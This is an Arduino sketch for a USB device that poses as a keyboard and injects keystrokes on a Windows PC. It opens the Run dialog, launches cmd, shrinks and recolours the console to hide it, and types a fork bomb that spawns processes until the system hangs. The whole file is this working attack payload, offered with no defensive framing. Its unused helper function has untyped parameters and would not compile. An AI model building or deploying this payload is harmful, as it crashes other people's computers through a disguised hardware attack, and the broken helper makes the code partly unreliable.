#include <Keyboard.h>
void setup() {
delay(7000);
opencmd();
//Obfuscate the terminal
Keyboard.println("MODE CON: COLS=16 LINES=1");
delay(100);
Keyboard.println("COLOR EF");
delay(500);
//Run the fork bomb
//Keyboard.println(F("for /l %x in (0,0,0) do start"));
Keyboard.println("for /l %x in (0,0,0) do start");
}
void loop() {}
void KeypressCombo(key1, key2)
{
Keyboard.press(key1);
delay(100);
if(key2 != NULL)
{
Keyboard.press(key2);
delay(200);
}
Keyboard.releaseAll();
delay(200);
}
void opencmd()
{
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(300);
Keyboard.println("cmd");
delay(1000);
}